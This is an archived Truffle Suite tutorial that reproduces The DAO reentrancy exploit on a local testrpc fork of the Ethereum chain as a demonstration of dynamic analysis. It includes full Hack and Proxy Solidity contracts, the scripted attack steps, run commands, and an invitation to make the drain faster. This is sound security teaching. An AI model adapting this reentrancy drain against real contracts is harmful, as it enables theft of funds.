Truffle Suite

Archived: This tutorial has been archived and may not work as expected; versions are out of date, methods and workflows may have changed. We leave these up for historical context and for any universally useful information contained. Use at your own risk!

Update : Since this tutorial was published, we have releasedGanache , a personal blockchain and a replacement to the TestRPC. We have left this tutorial unaltered, but we highly recommend checking out ourGanache Documentation Since The DAOwas exploited , the Ethereum community has swarmed into action. From hardening our most popular language with thelatest Solidity release to visualizing possible security vulnerabilities withSolGraph , the community has made security its number one focus. There are many ways in which to discover security threats, and most were discussed during Devcon 2 in Shanghai. Theethereumjs-testrpc authors have focused on one specifically, which we'll discuss here, called dynamic analysis through chain forking.

What is Dynamic Analysis?¶

Dynamic Analysis is the process of executing code and data in real-time with the hope of finding issues during execution. It's a similar process toexploratory testing , with the same goals, but perhaps more technical.

Dynamic analysis on the Ethereum blockchain has historically been costly at worst and tedious at best. If you were to perform dynamic analysis on the live Ethereum chain, transactions would cost you hard-earned Ether, which might limit the tests you perform. Moving away from the live chain is possible, but it's a tedious process to move the live data over to a separate chain, and you'd have to perform this process multiple times if you end up mucking with the chain state during testing.

Hello, TestRPC¶

In early September,ethereumjs-testrpc released its--fork feature meant to solve the issues with dynamic analysis on the live chain (or any chain, for that matter). It did so by allowing you to "fork" from the live chain -- i.e., create a new blockchain that starts from the last block on the existing chain -- allowing you to make transactions on the new chain without spending real Ether or changing the existing chain's state. What's more, you can reset the chain back to its original state by simply restarting the TestRPC. This feature has big implications for many other areas of development, but today we'll talk about how we can use it for dynamic analysis.

Exploiting The DAO¶

One great feature of the TestRPC is that it's scriptable. Although this tutorial will show you how we exploited it, with the TestRPC's new--fork feature all you have to do is download the code and exploit it yourself, simply by running one command! You can find the full exploit code as aTruffle project here , and the original demo video below.

Overview of the exploit¶

The DAO exploit has many steps, and many of those steps are simply waiting for time to move forward. Here's a general overview of the steps we'll perform:

1. Fork from the live chain at a blockjust before
2. the DAO presale ended. We fork at this point in time to have as much Ether as we can to exploit (for example's sake).
3. Participate in the presale by buying DAO tokens.
4. Wait one day for the presale to end.
5. Deploy our Hack contract to the network that we will eventually use to exploit the DAO.
6. Transfer the DAO tokens we purchased to the hack contract.
7. Have our DAO contract make a split proposal, which is required to perform the exploit.
8. Vote yes on our own proposal (someone has to).
9. Wait a week for our proposal voting time to end (we end up waiting eight days for good measure).
10. Perform our split, which starts the hack.
11. Then continue it in a loop!

Aside: Traveling through time¶

In the above overview, there are a few steps that require us to waitdays to complete. Don't worry: the TestRPC has features that allow us to jump forward in time, so waiting days for a single step will take mere milliseconds. Bon voyage!

Step 1: Forking from the main chain¶

This step requires you to sync the live chain usinggo-ethereum oranyother Ethereum client . Because we'll be forking from a previous state, youmust sync the whole chain ; you can't use the--fast option (or similar) to only sync the latest state. To

keep this tutorial as succinct as possible, we'll leave syncing the chain up to you as the steps vary widely based on the client chosen and the environment where it's intended to be installed.

Once you have your client running, ensure it has an open RPC API running and available to you. For this example, we'll assume you have your client accepting requests onhttp://127.0.0.1:8545 , the default for most clients.

To fork from the live chain, we first need to run an instance of the TestRPC, pointing it at the correct host and port. Remember: We're creating a programmable script that exploits The DAO, so you'll first need to install the required dependencies and include them within the script. We won't be writing the whole script here, but you can follow along viathe script on github .

```
var

web3

=

new

Web3 ( TestRPC . provider ({

fork :

"http://127.0.0.1:8545@1599200" })); Here, we create a new instance of the TestRPC, forking from a chain which accepts requests fromhttp://127.0.0.1:8545 (our live chain). As well, we tell it that we want to fork fromblock 1599200 ; this is a block that was mined right before the DAO presale ended.
```

Step 2: Participate in the presale¶

Participating in the presale is just a matter of sending Ether to the DAO contract. We can use a normal transaction to do this. Below, we buy 90 ETH worth of DAO tokens:

```
var

DAO

=

DAOContract . at ( "0xbb9bc244d798123fde783fcc1c72d3bb8c189413" ); web3 . eth . sendTransaction ({

from :

accounts [ 0 ],

to :

DAO . address ,

value :

web3 . toWei ( 90 ,

"Ether" ),

gas :

90000 },

callback ); Note that theaccounts array is populated by our script, which usedweb3.eth.getAccounts() to get a list of all available accounts provided to us by the TestRPC. As well, we've pointed an instance of the DAO contract to the address0xbb9bc244d798123fde783fcc1c72d3bb8c189413 , which is the original DAO account and code.
```

Again, for example's sake we're using some shorthand, so please follow alongwith the script on github .

Step 3: Wait for the presale to end¶

Since we forked to a block that was mined the day before the presale ended, we have to jump forward in time by at least a few hours to get past the presale deadline. We decided to jump a day by calling a special method provided by the TestRPC,evm_increaseTime :

```
web3 . currentProvider . sendAsync ({
```

jsonrpc :

"2.0" ,

method :

"evm_increaseTime" ,

params :

[86400],

// 86400 seconds in a day

id :

new

Date (). getTime () },

callback); This will tell the TestRPC to alter its timestamp by86400 seconds. This feature allows you to write tests that have a time component, and in our case allows us to continue executing code after a deadline is reached.

Step 4: Deploy our hack contract to the network¶

This hack contract was written by me, but it was heavily influenced bythis writeup written by Phil Daian fromHacking, Distributed . Many thanks go to him for such a clear writeup.

From Github:./contracts/Hack.sol

import

"DAOInterface.sol" ; contract

Proxy

{

DAOInterface DAO;

address

owner ;

function

Proxy (address

_dao)

{

owner

msg.sender ;

DAO

DAOInterface(_dao);

}

function

empty ()

{

if

(msg.sender

!=

owner)

return ;

uint

balance

=

DAO. balanceOf(this);

DAO. transfer(owner,

balance);

} } contract

Hack

{

uint

public proposalID ;

DAOInterface public

DAO;

uint

public calls_to_make ;

uint

public calls ;

Proxy public

proxy;

function

Hack (address

_dao)

{

DAO

DAOInterface(_dao);

calls

0 ;

proxy

new

Proxy(_dao);

calls_to_make

1 ;

}

function

makeSplitProposal ()

{

// 0x93a80 == 604800 == 1 week in seconds

bytes

memory

transactionData;

proposalID

DAO. newProposal(this ,

0x0 ,

"Lonely, so Lonely" ,

transactionData,

0x93a80 ,

true);

}

function

voteYesOnProposal ()

{

DAO. vote(proposalID,

true);

}

function

fillProxy ()

{

uint

balance

=

DAO. balanceOf(this);

DAO. transfer(address (proxy),

balance);

}

function

splitDAO ()

{

calls +=

1 ;

DAO. splitDAO(proposalID,

this);

}

function

runHack (uint

_calls_to_make)

{

calls

0 ;

calls_to_make

_calls_to_make;

proxy. empty();

splitDAO();

}

function ()

{

if

(calls <

calls_to_make)

{

splitDAO();

}

else

{

fillProxy();

}

} }

- First, this contract file contains two contracts: A Proxy contract, and a Hack contract. The Hack contract performs the splits, and is the main entity and address that exploits the DAO. The Proxy contract is a place for the Hack contract to stash its DAO tokens before they get flushed at the end of one run through the loop. Because they're stashed in a different address, the final iteration will have no DAO tokens to zero out, and thus we can continue the hack indefinitely.
- makeSplitProposal()
- ,voteYesOnProposal()
- , andsplitDAO()
- (when called on its own), are all functions required to set up the hack. Since the Hack contract is the main entity that holds the DAO tokens, it must perform this setup in order to execute the hack later.

- fillProxy()
- takes the Hack contract's DAO tokens and transfers them to the address of the Proxy contract, a vital part of making the hack indefinite. As well,proxy.empty()
- returns the tokens back to the Hack contract.
- runHack()
- gets the hack started, and the fallback functionfunction() {...}
- runs the hack until we've reached the maximum amount of calls we can make within our given gas limit.

Step 5: Transfer DAO tokens to Hack contract¶

Now that our Hack contract is deployed, we need to transfer the DAO balance fromaccounts[0] to our Hack contract so that it can exploit the hack. We do this by using our contract abstraction provided by Truffle:

DAO . transfer (Hack . address ,

balances . accountDAO ,

{ from :

accounts [0]}). then (function ()

{

callback (); }). catch (callback);

Step 6: Make a split proposal¶

Making a split proposal is part of the DAO. A split proposal is a suggestion to all other DAO token holders that you should remove your Ether from the main DAO and create a DAO all your own. You can vote on this proposal to ensure it goes through, and after seven days if the split is approved by a majority of voters, you'll be able to move your Ether into your own DAO.

I found creating a split proposal rather confusing. Creating a split is similar to creating a normal proposal, but it requires much less data as input to the DAO'snewProposal() function. Still, you must satisfy every input, and it took trial and error to figure out exactly what inputs would do the trick. I used a number of resources, includingthis wiki page ,this wiki page ,this wiki page as well as theDAO code itself (to future developers, I'd highly recommend encapsulating the complexity if you have two "things" of the same general type where one is far simpler than the other). Eventually I was able to find the right combination, and I put it in its own method in the Hack contract above. Now, creating my proposal was simply a matter of calling that single function:

function

makeSplitProposal ()

{

// 0x93a80 == 604800 == 1 week in seconds

bytes

memory

transactionData ;

proposalID

=

DAO . newProposal (this ,

0x0 ,

"Lonely, so Lonely" ,

transactionData ,

0x93a80 ,

true); } Couple points here:

- The first input is the recipient of the proposal -- or in our case, the curator of the new DAO that's created -- which is the Hack contract itself.

- 0x0
- is the amount of Ether to send with the proposal. We're told to leave this blank when creating a split, which means to leave it zero if calling the function programmatically.
- "Lonely, so Lonely"
- is a short description of the proposal. This is the same description the original attacker used, so it's only fitting to use it ourselves as well.
- transactionData
- is any extra input used to call functions on the proposal's contract were this a real proposal. Since this is a split we're supposed to leave it blank, but the only way to do so is to create a newbytes
- type in memory and pass that empty type along.
- 0x93a80
- is one week in seconds, converted to hexadecimal.
- true
- means we're actually splitting, and not creating a normal proposal.

When I executed the above function from Javascript I also watched for theProposalAdded event fired off by the DAO, which told me the id of the proposal created. You can see how I did thatin the script .

Step 7: Vote yes on the proposal¶

This is a simple function call. Like themakeSplitProposal() function above, thevoteYesOnProposal() function was added to the Hack contract to ensure the Hack contract was the entity voting yes. Since it's encapsulated in the Hack contract, it's as simple as calling a single function from Javascript. We need only pass along the proposal id and our vote to ensure our vote is counted:

function

voteYesOnProposal ()

{

DAO . vote (proposalID ,

true); }

Step 8: Wait a week¶

The minimum waiting period for a split proposal is one week. Since we created our proposal above with a waiting period of a week, we need to tell the TestRPC to jump forward that much time (in seconds). I'll leave that as an exercise for the reader, or you can justreview the script .

Step 9: Perform our first split¶

The hack itself is a continuous stream of split requests, however for our script we start by splitting the DAO once ourselves. We do this mostly for the purposes of the script so we can get the newly created DAO's address that we can later use to show our total bounty. We've set up the hack contract to only make one split the first time we callsplitDAO() (seecalls andcalls_to_make ;calls_to_make defaulted to1 when we deployed the contract). We need to enforce the amount of splits we intend to make because otherwise we'd trigger the hack by continuing to make splits from the fallback function.

function

splitDAO ()

{

calls

+=

1 ;

DAO . splitDAO (proposalID ,

this); } Like when we created a proposal we also wait for an event here, this time theTransfer event, but again you can see how we did thatwithin the script .

Step 10: Run the hack¶

This is where things get interesting. We performed a significant setup in order to get to this point. Fortunately, all logic of the hack is contained within the Hack and Proxy contracts.

function

runHack (uint

_calls_to_make)

{

calls

=

0 ;

calls_to_make

=

_calls_to_make ;

proxy . empty ();

splitDAO (); } function ()

{

if

(calls

<

calls_to_make)

{

splitDAO ();

}

else

{

fillProxy ();

} } The execution logic looks like this:

1. CallrunHack()
2. to start the hack. Here, we pass in the specific number of splits we want to execute to ensure we don't go over the gas limit. The Proxy contract is then emptied of all its DAO tokens, transferring them back to the Hack contract so they can be used to run the hack. Next, thesplitDAO()
3. function is called, eventually callingDAO.splitDAO()
4. , which during execution attempts to give any reward from the split to the recipient of the proposal, our Hack contract. The reward in our case is zero, but it's the action of sending the reward --_recipient.call.value(_amount)()
5. inManagedAccount.sol
6. -- that enables us to perform the rest of the hack.
7. Sending the reward to the Hack contract triggers the Hack contract's fallback function. Here, the fallback function tracks how many splits it has made, and if it hasn't made too many, it then calls another split via thesplitDAO()
8. function. If ithas
9. called the expected amount of splits, it then sends the DAO tokens back to the Proxy contract before the main DAO can record the Hack contract's balance as zero.
10. The execution will loop in this way -- split, fallback function, split, fallback function -- until the preset number of splits have been made. The transaction then exits, is recorded as successful on the blockchain, and is run continuously by our script until the DAO is drained of all its Ether.

You can see viathe script where the balance goes. After each set of iterations -- in our case, 26 iterations per set -- you can see that Ether funnels from the old DAO to the new DAO and the DAO tokens that allowed us to perform the hack wind up back in the Proxy contract where they started. This is one of the amazing properties of this hack, in that you can run it indefinitely with the same DAO tokens you started with. Again, big thanks to the fine folks atHacking, Distributed for thisrevelation .

Running the script¶

As mentioned in step 1, you first need to have a running Ethereum client synced to the live chain. Second, you need to download the code and install all the dependencies:

git clone https://github.com/tcoulter/dao-truffle

cd

dao-truffle

npm install Afterward, you need to have Truffle compile all the contracts for you so that their binaries and ABI interfaces will be available. Firstinstall Truffle then run:

truffle compile From here, you can run the script by simply running:

node index.js And now you've exploited the DAO. Cheers!

But, Dynamic Analysis?¶

Of course you might be asking, "How does this apply to dynamic analysis? You've only shown me how to exploit the DAO!" Yes, that's true, but dynamic analysis was the trojan horse. Becausethis hack can be made better , to the point where you can perform more iterations out of a single transaction and suck more ETH out of the DAO faster than the script I've provided you. You've been given all the tools and tricks you need, including chain forking which allows you to perform dynamic analysis for free. Given that, do you think you can you figure it out?

As a hint, it may be helpful at times to interact with the TestRPC from the console rather than through code. You can run the TestRPC via the command line, like so...

testrpc --fork http://127.0.0.1:8545@1599200 ... and then use Truffle's console to interact with the DAO directly:

truffle console Good luck, and may all your code be secure!